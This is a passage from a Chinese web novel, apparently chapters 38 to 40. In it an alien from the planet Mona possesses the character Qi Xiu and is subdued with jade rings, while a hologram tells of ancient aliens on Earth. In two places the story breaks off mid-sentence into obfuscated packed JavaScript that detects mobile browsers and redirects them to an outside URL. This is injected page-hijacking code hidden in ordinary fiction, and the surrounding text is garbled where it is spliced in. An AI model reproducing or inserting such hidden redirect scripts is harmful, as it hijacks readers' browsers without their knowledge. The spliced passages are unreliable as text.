“我要感谢你在这枚黑玉指环里留下的能量,虽然这能量少的可怜,还不足以解锁基因里的代码,但是却足够影响一部分基因表达。” 齐修和齐夫人的这段对话,虽然充斥着唐镜听不懂的名词,却也能猜出来,双方当年斗智斗勇,虽然“齐修”最终败在齐夫人手里,却也留了一手,以至于有了现在这样的局面。 “那天在梵舍喝茶,我看见你的眸子瞬间变成黑色,随即又恢复了原状,那个时候,你是不是控制了齐修的身体?”唐镜忍不住问道。 因为她总觉得,齐修和她们在老宅里的一些表现,怎么都不像是演戏。 “当然是这个地球人齐修了,我身为高贵的莫纳星能量体,怎么会和你们做这么无聊的事情??” 齐修不耐烦的冷笑一下,“她在这枚黑玉指环里注入的能量太微弱,齐修足足戴了19年6个月15天,才触动了基因代码,只是触动,还没有被激活。也就是在梵舍看见我眼眸变黑的时候。” “所以,你那个时候,还没有完全控制齐修的身体,他还是他,但是他那以后,偶然会变得有些奇怪,就是你的缘故!”郑落落忍不住说道。 “说起来,还要感谢你,如果不是你发现了山顶的变化,我们就不会到这里来,如果不到这里来,基因代码就不会被彻底激活,我也就无法彻底控制这具身体。” 齐修说到这里,嘴角扯出一抹邪气的笑意。 “你不要高兴的太早了,你不过是压制住了齐修的意识,暂时控制了这具身体,而且你现在还无法脱离这具身体,纯粹以能量形式存在。话说,你不得不依附在低级生命形态里才能存在,这是一种什么感觉?” 一直沉默的伊峰秋突然说话了,平静的语气中带着淡淡的嘲讽。 唐镜从来没发现,伊峰秋竟然还有如此毒舌的一面,以至于她在一瞬间,都忘了他这番话的内容,是多么的匪夷所思。 齐修目光转向伊峰秋,怒火中夹杂着一闪而逝的惊疑,俊美的五官有些扭曲:“你是什么人?为什么会知道这些!” 唐镜和郑落落此时也是满眼疑惑的看着伊峰秋。 而齐夫人看着伊峰秋的目光中,多了些玩味之意。 “我叫伊峰秋,是道家正一门的俗家弟子,地地道道,如假包换的地球人,你嘴里的低级碳基生命。”伊峰秋很认真,很严肃的说道。 可是不知道为什么,明明他的语气和表情都是又认真又严肃,却让唐镜忍俊不禁。 “道家,正一门,呵……”齐修轻笑起来,不过声音里却没有半分笑意,“伊峰秋,即使我不得不暂时依附在地球人的身体里存在,可是我依然能分分钟抹去你在这个世界的存在。” 很显然,伊峰秋的毒舌,成功的戳到了这位莫纳星人的痛处。 为了记叙方便,接下来,唐镜还是以齐修称呼这位外星人。 虽然她不知道伊峰秋为什么会去激怒齐修,但是以对他的了解,他在这个时候,选择做这件事情,一定有他自己的理由。 这个人,最喜欢挖坑让人跳。 齐修一边说,一边朝伊峰秋走过来,墨黑色的眸子瞬也不瞬地盯着他。 伊峰秋站在原地,一动不动,冷峻的目光迎着齐修的视线,唐镜感觉空气中的温度似乎开始升高,而这两个男人视线交汇的地方,风起云涌。 齐修墨黑色的眸子里,似乎跳动着火焰,唐镜只是看了一眼,竟然觉得头有些晕,那眸子仿若深渊,要把人的灵魂都吸进去。 她想要移开视线,可是却觉得目光已经被黏在那墨黑色的眸子里,无法摆脱,意识竟然变得模糊起来,汗珠从额头上滚落下来。 就在这时候,伊峰秋的手伸过来,遮住了她的眼睛。 唐镜只觉眼前一暗,视线已经被阻断,看不到齐修的眼睛,脑子开始慢慢清明起来,赶紧闭上眼睛,做了几个深呼吸。 伊峰秋的手从她的眼睛前移开,拉住她的手,把她扯到身侧。 唐镜还没反应过来,就感觉伊峰秋的手指在她的掌心上快速写了几个字,她先是一怔,随即捏了捏他的手指,表示知道了。 齐修在伊峰秋面前一尺的地方停了下来,两个人的目光始终对视在一起,唐镜现在才明白,两个人在目光相对的瞬间,其实就在精神层面交上了手。 “你就这么一招吗?其实你这招也没什么了不起,和地球人的催眠,也没什么区别,而且看起来,显然对我不管用。”伊峰秋淡淡的说。 齐修脸上怒意一闪而逝,他没有说话,脚步一错,欺近伊峰秋,掌缘如刀,像伊峰秋的脖颈劈过来。 动作快如闪电,如果被他劈实了,那里正是颈部大动脉的位置,伊峰秋就会立刻昏厥过去。 伊峰秋站在原地,不避不让,右手一抬一挥,竟然朝齐修脸上击去,这一掌若是打实了,毫无疑问就是一个响亮的耳光。 是对这位傲慢莫纳星人的一记响亮耳光。 也就是说,伊峰秋就算被齐修一掌劈晕过去,也会先给他来一耳光。 这简直就是赤.裸.裸.的鄙视! 一个被视为低级生命形态的地球人,对自命不凡、高高在上的莫纳星人的鄙视! 齐修哪里能容忍这样的鄙视,更不可能接受被地球人扇一耳光的耻辱,所以他的这一掌直接中途转弯,对上了伊峰秋的掌心。 不得不说,伊峰秋抓住了这位外星人的心理弱点,不愧是目光如神的伊队,不仅能看穿地球人,还能搞定外星人。 伊峰秋手掌一翻,已经抓住了齐修的手掌,同时另外一只手闪电般探出,并指如剑,刺向齐修的眼睛。 与此同时,他还说了句风凉话。 “看来,你还是得借助碳基生命的身体才能对付我啊。”伊峰秋的语气非常平淡,并没有什么情绪,可是听到耳里,却有着说不出的嘲弄之意。 唐镜和郑落落忍不住笑出声来。 齐修俊美的五官彻底扭曲了,他一只手被伊峰秋抓住,顾不上挣脱,头往后一仰,避开伊峰秋戳来的手指,同时另外一只手握拳狠狠砸向伊峰秋的鼻子。 伊峰秋翻掌抓住了齐修的拳头,同时朝唐镜使了个眼色。 唐镜双手交握,左手食指一直扣在银镯子上,看到伊峰秋的眼色后,毫不犹豫按了下去,从镯子上射出一枚细如牛毛的麻醉针,直接扎在齐修脖子侧面。 齐修的表情先是一怔,随即眼中闪过恼怒之色,嘴唇动了动,想说什么却没来得及说出来,双眼一闭晕了过去。 本来对伊峰秋的安排,唐镜还有点将信将疑,不知道这枚麻醉针能不能搞定被外星人附体的齐修,没想到一针下去,居然真的搞定了他。 “这位莫纳星人也太衰了吧?”郑落落见到齐修晕过去后,先是吓了一跳,随即就有些不屑的撇撇嘴。 “他刚刚被激活,能量还很衰弱,另外他还没有学会改造这具身体的基因,所以才会这么容易就被你们弄晕过去。” 齐夫人看着晕倒在地的齐修,幽幽的说。 伊峰秋:“他暂时还不能脱离这具身体,以纯粹能量的形式存在,这是他目前最大的弱点,也是我们唯一的机会!” 他边说,边从口袋里摸出捆扎条,俯身把齐修双手拉到背后,用手绑起来,又把他的脚踝捆好,这才站起身,朝唐镜笑了笑,目光中有赞赏之意。 唐镜心里顿觉一甜,但是嘴巴上却忍不住挪揄了他一句:“我还以为你会掏出符纸来镇邪呢。” “我又不是抓鬼的道士。”伊峰秋嘿嘿一笑。 “怎么才能让齐修恢复正常啊?”郑落落有些焦急的问道。 唐镜也想到了这个问题,毕竟,此时知道齐修以前那些异常举动,很有可能是因为体内莫纳星人的缘故,她俩对齐修的那些成见就不翼而飞了。 “齐修现在的身体里,有两个意识,一个是他本人的意识,另外一个就是莫纳星人的意识,要么他本人的意识压制住莫纳星人的意识,要么想办法抹去莫纳星人的意识。”伊峰秋说道。 “你有什么办法吗?”郑落落满怀期望的问道。 伊峰秋摇了摇头,没有说话,却把目光转向齐夫人。 齐夫人凝视着躺在地上的齐修,良久不语。 也不知道过了多久,她才收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234666|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回目光,对伊峰秋说道:“你能看出来他的弱点,很了不起。你说你是道家的弟子,倒是让我想起了一些有趣的事情。” “齐夫人,你能想办法让那个莫纳星人离开齐修的身体吗”郑落落打断了齐夫人的话,语气焦灼。 “如果是我的本体在这里,还可以试试,我现在只是个分身,能量只够支持和你们说话,做不了别的事情。”齐夫人摊摊手,表示无能为力。 “那我们该怎么办啊?”郑落落问道。 “一万年前,来到地球的莫纳星人,开启了蒙昧的地球古人的灵智,让地球人最终站在了食物链的顶端。”齐夫人突然岔开了话题。 唐镜和伊峰秋对视一眼,显然,因为这句话,两个人同时想到了齐家老宅里的那个透明罩子。 “莫纳星人和早期的地球古人接触,给地球古人留下了深刻的印象,口耳相传,最后变成了远古神话传说。你们中国人的女娲炼石补天,其实就是我们莫纳星人在地球上做过的事情。” 唐镜心里一动,和郑落落对视一眼,不知道为什么,同时想到了那山峰顶上的那个带着将军气质的女人。 “当时,莫纳星人利用时空折叠技术,来到了太阳系,结果穿越空间时产生的能量漩涡,引发了时空震荡,给地球带来灾难。在东方的传说里,天空塌陷,火焰和熔岩从天空倾泻到大地上,人类死伤惨重,奔走哭号。” 唐镜突然想到在那个打开的洞口边,听到的那些声音,难道说,这些声音就发生在那个时候,然后被保存下来了? “西方传说里,上帝降下洪水,淹没大地,只有诺亚方舟上的人和生灵存活下来,是不是,也是时空震荡引发的灾难?”郑落落问道。 齐夫人点了点头:“我在喜马拉雅山顶的基地里,看到过对此次事件的记载,莫纳星人奔赴各地,尽力去平息这次引发的灾难,在救援的过程中,出现了地球人无法理解的现象,最后就做为神话传说一直流传下来。” “你说,是你们莫纳星人开启了地球古人的灵智,所以人类才最终站在食物链的顶端,你们是怎么个开启法?”唐镜有些好奇的问道。 “东方传说,燧人氏教给人类取火,西方有普罗米修斯盗天火的故事。火,是莫纳星人送给人类的第一个份礼物,有了火,人类就可以吃烧熟的食物,改善了体质,有了火,人类就可以在夜晚免遭动物的侵扰,有了火,人类就可以度过严寒时期……” 齐夫人一边说,一边走回圆桌前,手指在桌面的光斑上点了点,全息屏幕上,出现了跳动的火焰,还有围绕着火焰起舞的人类。 “学会了保存和使用火种,才真正开启了人类进化的新篇章,瞧,只需要一粒火种,就足以改变人类的命运。”齐夫人看着全息屏幕上跳动的火焰,悠悠说道。 “那些莫纳星人最后去了哪里?”唐镜想到山顶上的那两个女人,总觉得有些什么事情不对劲,可是却又想不出来哪里不对劲。 “这是个好问题。”齐夫人眼中闪过一丝欣赏之意。 伊峰秋也点了点头,表示赞同齐夫人的说法。 唐镜自己倒是有些莫名其妙,不明白这问题哪里好了。 “我也不知道他们去了哪里,基地里留下的资料,到五千年前戛然而止。他们在地球上生活了五千年,这五千年里,他们奔赴各地,用自己所能,抚平时空穿越时引发的灾难,在不打破地球生命系统平衡的前提下,帮助人类生活的更好。” 全息屏幕上闪现出一幅又一幅的画面,全是远古时期,地球上各处的风情地貌,人类部落的生存场景,任何一幅画面,落到科学家手里,都会被视为至宝。 郑落落看着屏幕,就好像最好色的男人,盯着绝顶美女,连眼睛都舍不得眨动一下,生怕错过任何一个画面。 “五千年过去了,莫纳星人好像突然瞬间同时消失了,再也没有留下任何资料。” “他们会不会离开地球了?”唐镜问道。 “不可能,因为动用时空折叠技术,会再次引发时空震荡,而且如果是从地球启动,所需要的能量,足以榨干整个太阳系。如果莫纳星人离开了,也就意味着整个太阳系,变成了黑洞。” 唐镜听得后背一凉。 就在这时候,伊峰秋说话了:“一万年前,第一批来到地球的莫纳星人,因为时空折叠技术的缘故,引发了地球上的大灾难,一万年后,你同样用时空折叠技术来到地球,为什么没有引发灾难?” “对喔,你的那些先辈来地球的时候,天崩地裂,海啸洪水的,你到的时候,怎么那么平静?”郑落落问道。 “很简单,因为我有地球坐标,要知道,在一万年前,那群莫纳星人可是在没有目标的时空跃迁中,到了太阳系,如果你们运气差一点,他们的落点是在地球大气层范围内,很有可能地球上的生命就遭到彻底毁灭。” “原来如此,我们人类还真是幸运啊。”唐镜忍不住挪揄道。 “是的,你们人类比恐龙幸运多了。”齐夫人很平静的说。 “难道恐龙大灭绝跟你们莫纳星人有关系?”郑落落瞪大了眼睛,“6500万年前,一颗小行星撞击地球,导致恐龙灭绝,那小行星会不会是你们外星人的舰队?” 齐夫人白了郑落落一眼,不知道为什么,她的这个动作,让唐镜瞬间忘了她是个没有性别的外星人,而是个不折不扣的女人。 “我们莫纳星人一万年前才来到地球,6500万年前的灾难肯定和我们莫纳星人没有关系,至于是不是别的外星人,我就不知道了,宇宙这么大,肯定有很多高级生命存在。” “五千年前,第一批莫纳星人突然在地球上销声匿迹,你事后没有查找过原因吗?”伊峰秋把话题又转了回来。 “没有找出原因,我为了免除后患,抹去了基地的时空坐标,为了以防万一,我再也没去过基地。”齐夫人摇摇头,“后来,我就不关心这件事情了,我只顾着研究怎么改造卓宇的生命形态。” 39. 第 39 章 “那你到底有没有成功改造齐卓宇?他消失之后,去了哪里?”郑落落追问道。 “我也不知道是成功还是失败……”齐夫人幽幽的说。 什么? 唐镜和郑落落面面相觑,表示无法理解这句话的意思,成功就是成功,失败就是失败,什么叫做不知道是成功还是失败? 齐夫人手指虚点几下,桌面上方的光影继续变幻,出现了齐家老宅的画面。 画面里的齐家老宅,干净整洁,富丽堂皇,并不是现实中见到的,那种颓败荒芜的样子。 显然,这画面上的齐家老宅,应该是刚建起没多久。 三D画面转换,齐家老宅就像被一把大刀从地基上平平削掉,向上方浮去,露出下面黑黝黝的土地。 画面继续往地面纵深推进,穿透五六十米的厚度,豁然开朗,下面竟然是一个阔大的地宫! 巨大的石棺横亘在地宫中间,石棺表面,用鲜艳的颜色,画着狩猎出游图。 “古墓!”郑落落失声惊叫。 这就是齐家老宅下面的那座古墓! 一座南北朝时期的古墓! 从画面上可以看出来,地宫里面的东西保存完好,里面的东西,也没有被移动过的痕迹,显然这座千年前的古墓,自建成后,就再没有人进去过。 画面上,石棺渐渐变得透明,当然,并不是石棺真的变成透明棺材,而是齐夫人不知道用了什么方式,能够让我们清晰的看到石棺内部。 石棺内部,填满了类似果冻的透明胶质物。 一个男人就悬浮在胶质物中间。 随着画面的推进,可以清晰的看到他的面容,剑眉星目,英气勃勃,竟然是齐卓宇!他闭着双眼,长长的睫毛如同一把小扇子,在眼底投下一弯阴影,就像正在沉睡。 齐夫人看着他,眼中深情无限,却又透着无限的哀伤。 郑落落喃喃低语:“为什么会这样?” 齐夫人没有说话,只是凝视着画面里的齐卓宇。 突然,齐卓宇不见了! 悬浮在胶质中间的他,就在众人眼前,不见了! 而那透明的胶质物,却开始泛起淡淡涟漪,像是一块石头投入平静的湖面,一圈又一圈的波纹向外散去。 “怎么回事!”唐镜再也忍不住了,指着画面上,石棺里的胶质物叫道。 “我改造后,卓宇就变成了这个样子,他不能处于稳定的能量态,而是会在能量态和碳基生命体,不断转换。他无法离开那团胶质,否则就会彻底消失。” 齐夫人语气无比伤痛。 “那他,还活着吗?”郑落落问道。 这也是唐镜心底里的疑惑。 “当他在能量态时,我们可以以波的形式交流,当他成为碳基生命体时,就只能沉睡在胶质里。” 生命在离别和相聚中,不断转换。 “他说,他不后悔……”齐夫人喃喃说道,一滴泪珠却从眼角慢慢滑落。 “你留在这里的是分身,那你的本体去了哪里?”郑落落问道。 “宇宙很大,我想,也许能找到办法,让卓宇摆脱现在的状态,安置好卓宇之后,我就去探索银河系,去寻找那些存在更高等级生命的星球,一百年过去了,我却还没找到。” 这一刻,唐镜发自内心的希望,她能早点找到办法。 不想沉浸在这种伤痛的气氛中,唐镜提起另外一个话题,想转移齐夫人的注意力。 “齐家老宅里的那架屏风,为什么那么古怪,还有,齐修带我们通过屏风,去的那个时空,又是怎么回事?” 她把在那个山峰顶上看到的情景,讲述给齐夫人。 “我当初重伤之后,之所以会出现在齐家老宅,也并非偶然,也是被这里的能量波动频率吸引来的,那架屏风,我们莫纳星人称之为时空壁垒,按照你们地球人的说法,它有点像时空之门。” “时空之门?” “它是同外另外时空的通道,通道那一头的时空有自己的运行规则,可能和地球一样,也有可能和地球截然不同。比如,地球上的一天,在那个时空里,也许只是一秒,又或者,是十万年。” “一沙一世界,刹那即永恒。”唐镜想起佛经里的这句话。 “不同的人,进入时空之门后,会通往不同的时空。想要进入时空之门,需要地球人基因里的一组特别代码,其本人用强大的精神力,在时空门前激活代码,以脑波能量体的方式,穿越时空之门,脑波能量体,有点类似于你们说的灵魂。” 唐镜忍不住看向伊峰秋,这么说来,那天晚上夜探老宅,在屏风面前,他激活了时空之门,才出现了所谓的“幻境”。 伊峰秋是有意还是无意的? “但是通过时空之门,能穿越到哪个时空,是由基因代码决定的,据我所知,不同的人拥有的特别代码不同。” “你的意思是,齐修能进去的那个位面,我们其余人是进不去的,除非他带我们进去?”唐镜问道。 “不错,同样,你进去的那个位面,如果没有你的引领,别人也没办法进去。”齐夫人说道。 “那你进去会看到什么?”唐镜忍不住问齐夫人。 齐夫人摊了摊手,有些无奈:“我进不去,因为我没有地球人的基因密码……” “那我们可以带你进去吗?”唐镜总觉得,如果能让齐夫人看到山峰上的那两个女人,也许会有些什么发现。 “我现在只是一个能量分身,如果能量本体在这里,也许你们能把我带到那里,不过现在,”她摊了摊手,“我的能量本体,已经到了银河系的更深处,除非找到方法,否则不会回来的。” “齐修带我们看到的,两个女人又是怎么回事?为什么我和郑落落会和她们两个有一模一样的面容,为什么只有我和郑落落的鲜血和掌纹才能打开那个罩子?” 就在唐镜追问的时候,齐夫人的身体轮廓,渐渐变得有些模糊。 伊峰秋神情微变,但是他的语气很冷静:“你的能量已经不足以继续维持这个分身了?” 齐夫人微笑着点点头:“我要继续沉睡,在沉睡中积蓄能量,只是不知道下一次醒来,会是什么时候。” “这个山尖的消失,是因为你转换能量的缘故?”郑落落突然问道。 “不错,我需要不断的把山顶上的物质转换为能量,维持这个时空存在,以及给我提供能量,也希望有人发现山顶的变化,让齐家后人找到这里。” “快告诉我,为什么,为什么我会和她长的一模一样?她到底是什么人?为什么菲姐消失前,会来找我,为什么!” 唐镜开始有些歇斯底里,叶菲失踪后,经历的事情一桩桩涌上心头,命运如一只不可知的大手,牵引着她走上一条不可知的道路,巨大的灰色阴影横亘在未来。 阴影里到底有什么,她不知道,但有一种发自本能的恐惧。 一只手伸过来,紧紧握住了她的手,熟悉的温度,熟悉的气息,是伊峰秋,他手指指肚上的薄茧,有些粗粝,却温暖而安全。 唐镜突然就平静下来。 伊峰秋目光冷峻,盯着齐夫人:“以你的能力,当初就算把齐修送进时空乱流,也会有防止他再次回来的手段,莫纳星人最了解莫纳星人,说吧,怎样才能对付齐修?” 齐夫人的身体开始变得半透明,她笑了笑:“你很聪明,你既然这么聪明,一定能猜到我接下来想说的话。” “说出你的条件。”伊峰秋淡淡的说。 “我会把喜马拉雅山的基地开启方法告诉你,你帮我找到第一批莫纳星人的去向,等你找到答案的时候,再回到基地,自然会发现对付齐修的办法。”齐夫人眼里闪过一丝狡黠。 “告诉我,压制齐修体内莫纳星人能量的方法。”伊峰秋面无表情说道,“虽然你没办法抹去莫纳星人的意识,但是你一定会有压制他的办法。” “我越来越欣赏你了,”齐夫人轻笑起来,“好,我告诉你方法,你答应我的要求。” “还要加上,她提出的那些问题的答案。”伊峰秋虽然说的轻描淡写,可是唐镜却感觉到他的掌心,微微有些潮湿。 她我突然明白,伊峰秋为什么先提齐修身体里莫纳星人的事情,然后最后又仿佛不经意的加上了条件。 避重就轻,声东击西。 “你去那个基地,里面有我当初留下的一些资料,是我关于那批莫纳星人去向的猜测,要找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234667|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多的答案,只能靠你们自己了。”齐夫人意味深长的笑了笑。 “成交!” 伊峰秋也露出同样意味深长的笑容。 唐镜突然觉得,与伊峰秋和齐夫人相比,我和郑落落简直就是纯洁的小白兔。 齐夫人伸手在圆桌上点了点,桌子旁边浮起一个半透明托盘,淡青色,材质有点像水晶,托盘中央,静静躺着一枚白玉指环。 指环玉质极好,温润剔透,就像最纯净的牛奶凝结而成。 唐镜下意识的把目光转向齐修的手指,看看他手指上戴着的黑玉指环,又看看托盘里的白玉指环。 两枚指环,除了颜色不同外,形状一模一样,玉质也是一模一样。 “先把这枚指环给他戴上。”齐夫人说道。 郑落落走过去,拿起托盘上的指环,走到齐修身边,蹲下来,正犹豫要给他戴到哪个手指上,就听到齐夫人继续说道:“就戴在同一个手指上。” 黑玉指环戴在齐修右手的中指上,郑落落把白玉指环也套在了这根手指上。 两枚指环刚刚碰到一起,一道细如发丝的光亮闪过,两枚指环瞬间吻合在一起,郑落落扯了下白玉指环,竟然扯不下来,两枚指环仿佛已经焊在了一起。 郑落落又用力拽了拽,指环在手指上纹丝不动,好像这两枚指环长在了齐修的手指上。 “这两枚指环,以后就留在他的手指上,取不下来。黑玉指环可以激活莫纳星人的能量,但是白玉指环里的能量,可以压制莫纳星人的能量,但是身体原本的主人,也会受到一定影响。”齐夫人说道。 好吧,至少这个解决方法,对齐修来说还不坏。 齐夫人的身形轮廓开始变得越来越透明,她抬起手指,指尖对准伊峰秋,一道柔和的白色光线投在伊峰秋的眉心中间。 唐镜本来吓了一跳,下意识想要挡住那光线,但是伊峰秋朝她微微一笑,又用力握了握她的手,她就不由自主的放松下来了。 伊峰秋缓缓闭上眼睛。 白色光线就好像一道细细的水线,落到干涸的沙漠里,迅速的浸润到他的眉心里。 很显然,齐夫人在用一种独特方法,给伊峰秋传递信息。 白色光线很快消失,齐夫人的身体已经完全透明,慢慢消失在三人视线里,像是阳光下的一个泡泡,转瞬即逝。 透明罩子上方,由中间向四面滑落的光带,速度变得越来越快,颜色也开始变幻。 唐镜头开始晕,有一种失重的感觉。 眼前光线明暗交替,虽然站着不动,她却觉得,好像坐在一个无形的升降机里,正在飞速的上升。 黑暗猝不及防的来临。 再下一个瞬间,四个人已经回到了山顶,伊峰秋站在唐镜旁边,齐修躺在地上,还在昏迷着,郑落落站在齐修旁边,神情有些茫然。 山顶上野草丛生,高高矮矮的树木稀疏林立,那一片碧绿整齐的草地,已经没了踪影。 就好像,那片碧绿如茵的草地,从来就没存在过。 唐镜低头,看到齐修手指上,紧紧合在一起,黑白两枚玉指环,终于再次确定,刚才不是一场幻梦。 “你俩还真是纯洁的工作关系啊……”郑落落看看唐镜,又看看伊峰秋,挪揄道。 也许是回到了山顶,也许是因为控制住了齐修体内莫纳星人的意识,郑落落显然变得放松了许多,也有心情开玩笑了。 唐镜突然意识到,伊峰秋还握着她的手,不由得脸上一热,下意识的把手抽了出来。 伊峰秋淡淡一笑,没说什么。 “他什么时候能醒过来?你该不会打算背着他下山吧?”郑落落看着昏迷的齐修问伊峰秋。 “再等三分钟,他就能醒过来。”伊峰秋瞥了眼手腕上的表,冷静的说。 “他醒过来,怎么给他解释?”唐镜问道。 “把事情原原本本告诉他?”郑落落也有些拿不定主意,试探着说道。 “不太合适,搞不好,他会发疯。”唐镜叹了口气。 任谁知道自己的身体里面,多了一个外星人的意识,而且自己的意识曾经被碾压过,以后也许还得随时面临这种危险,不疯才怪。 …… 40. 第 40 章 唐镜和郑落落为齐修担忧,伊峰秋没有说话,走到齐修旁边,解开捆扎带,重新收起来。 “喂,万一那指环没起作用,莫31又跑出来,要打要杀的怎么办,我是说万一!”郑落落嚷道。 “有我在。”伊峰秋只说了这三个字。 他的语气很平静,很平淡,就像在说天气很好一样,可是却莫名的让人有一种心安的感觉。 三分钟后,齐修醒过来了,不过,接下来的情形,却让唐镜和郑落落眼球险些掉一地。 齐修睁开眼睛,眸子中的墨色已经褪去,重新恢复了剔透,他躺在地上,一动不动,先是定定的看了会天空,然后才把目光转向三人。 伊峰秋站在前面,神情一如既往的阴郁冷峻,而唐镜和郑落落站他身侧,一副如临大敌的模样。 当唐镜和齐修目光相接的时候,感觉有些不大对,因为他的眸子实在太晶莹纯澈了些,让她想起了婴儿的眼睛。 那是一种不曾沾染半点世事的纯净。 齐修目光转了一圈,才从地上慢慢站起身,随即就站在原地,一动不动,也不说话,眸子定定看着远方的天空。 冬日的阳光很淡,洒在他身上,仿佛给他镀上了一层半透明的冰霜,而他在冰霜里凝立不动,仿佛一尊雕像。 齐修本来长的俊美出尘,此时在他精致的容颜上,多了种冰冷的疏离感。 唐镜看着他,心里有些发毛,突然想到了传说中那些容颜永驻,不老不死的吸血鬼。 很显然,郑落落和伊峰秋也发现了齐修的异样。 伊峰秋眉毛挑了挑,眼中闪过一丝疑惑,而唐镜和郑落落则面面相觑,有些搞不懂状况。 一片静默,风吹过树木,叶子在风中凌乱。 唐镜试着搭讪:“喂,齐修……” 齐修没有说话,一动不动,还是定定的看着远方的天空。 她提高音量:“喂,齐修……” 齐修突然说话了,只不过既不是对着唐镜,也不是对着伊峰秋和郑落落,依旧望着远方的天空,对着空气答:“喂,齐修……” “……”我瞠目结舌。 伊峰秋眉毛挑的更高了点,而郑落落则用手捂住了嘴。 “你是谁?”唐镜定了定神,继续问道。 “你是谁?”齐修依旧对着空气答。 ……这是要闹哪样? “我是唐镜……” “……我是唐镜。” “噗哧……” 郑落落笑出声来,唐镜瞪了她一眼,却看见伊峰秋有些辛苦的扯了扯嘴角。 显然,习惯不苟言笑的他,也在强忍笑意。 唐镜苦笑了一下,看来那枚指环确实起了作用,压制住了莫纳星人的意识,不过很显然,齐修的意识也出了点问题。 难不成齐修从此变成了个应声虫?一个美貌的应声虫? 唐镜实在问不下去了。 齐修静静站着,似乎在慢慢想着什么,然后想起来什么,缓缓的摇了摇头。 唐镜心里突然燃起了一丝希望,齐修的这个动作,给她的感觉有点像个“人”了,而不是一只应声虫,或者是一具美貌的冰雕。 她换了个话题问道:“你认识这个地方吗?” 齐修这次的回答总算正常了点:“山顶。” “什么地方的山顶?” “……山上的山顶。” “噗哧……” 郑落落赶紧捂住嘴唇,朝唐镜做出“我不是故意的,只是我忍的好辛苦,我保证不再打扰你,你继续”的表情来。 唐镜忍不住抽了抽嘴角,觉得嘴里有些发苦,她当然知道这是山上的山顶。 换个问题问:“你知道我们是谁吗?” 我边说,边指了指自己、郑落落和伊峰秋。 “……人” 郑落落终于忍不住了,哈哈大笑起来。 而唐镜则苦着脸,朝伊峰秋做了个“你要再不出手,我就再也不理你了”的眼神…… 伊峰秋的眼里隐隐闪过一丝笑意,因为出汗的缘故,几缕碎发黏在额头上,给他严肃阴郁的气质中,平添了几分不羁。 他往前走了一步,凝视着齐修的眼睛。 齐修本来站在那里一动不动,此时微微偏了偏头,淡淡的阳光照在他纯澈的眼眸上,像凝结的露珠。 齐修和伊峰秋隔着一米多远的距离,静静对视。 “你为什么站在这里?”伊峰秋说话了,声音很平静,听不出任何情绪。 “我要找人。”齐修想了一下,这才回答,他说话很慢,一个字一个字的说着,语声毫无升降起伏,说话的时候,虽然在看着伊峰秋,可是却又觉得他的目光并没有落在伊峰秋的身上,而是穿过他,却不知道落向何处。 唐镜看着齐修,不知道为什么,突然想到了曾经见过的一个自闭症孩子。 “那你找到要找的人了吗?”伊峰秋沉吟了一下,才继续问道。 “他说,人在泡影里,要找到泡影。”齐修的回答依然很慢,整个人站在那里,像是一座精致的冰雕人儿。 “他是谁?”伊峰秋问道。 齐修突然抬起手臂,指了指自己的脑袋:“他说,要找到泡影里的人。” 唐镜听得丈二和尚摸不到头脑,看郑落落也是满眼的茫然,可是伊峰秋却点了点头,一副了然的神情,继续问齐修:“找到泡影里的人以后,怎么办?” “抓起来。” “抓起来以后呢?” 这个问题对于齐修似乎有些难,他站在那里,眼珠错也不错,静立了半晌,也没说话。 唐镜看看齐修,再看看伊峰秋,看看伊峰秋,再看看齐修…… 十分钟过去了…… 阳光淡淡,四目,不对,八目相对…… 半个小时过去了…… 冷风嗖嗖,八目相对…… 齐修依旧纹丝不动,把自己站成了一座完美的玉雕。 伊峰秋也纹丝不动,冷峻的目光如解剖刀,正在一丝不苟的分离着齐修的血肉骨骼。 唐镜和郑落落却已经快要抓狂——这到底是在干什么! “你们要发呆,能不能下山以后,在暖和的屋子里发呆?老娘都快冻死了!”郑落落终于爆发了。 唐镜搓了搓冰凉的手,跺了跺有些发麻的脚,恶狠狠的说:“你们就在这里做好基友吧,我们不打扰了,88。” “我知道哪里能找到泡影里的人。”伊峰秋对齐修说道,随即收回目光,转向唐镜笑了笑,笑容里带点歉意,带点孩子气。 冬日的阳光好像瞬间变得暖和了。 唐镜的恼怒不翼而飞,还很没出息的咽了下口水。 一个阴郁冷峻的帅哥,突然露出这种笑容,真的很难抵抗啊啊啊。 郑落落在旁边给了她一个鄙视的眼神,唐镜,你也就这么点出息吧…… 伊峰秋做了个下山的手势,当先往前走去。 唐镜和郑落落看了眼齐修,心想难不成要把他一个人留在山顶。 就在伊峰秋迈步的时候,本来冰雕一般立在那里,一动不动的齐修,突然转动身体,跟在伊峰秋身后,往前走去。 很显然,伊峰秋最后那句话起了作用…… 姜还是老的辣啊,就那么几句话,就能把一自闭症儿童,忽悠成跟屁虫,唐镜觉得自己肯定是没这本事。 下山还比较顺利,毕竟有上山的时候开出的路,穿越那些灌木丛和野草藤蔓时,没那么费劲。 齐修的言行,虽然表现的如同失忆加自闭症少年,不过身体素质显然没有受到什么影响,依然敏捷如初,甚至行走之间,竟然有种行云流水般的飘逸。 好吧,东边损失西边补,脑子出问题了,身手却变得更好了,也不算太吃亏。 等四个人回到齐修住的那个小院子里以后,天色已经完全黑下来。 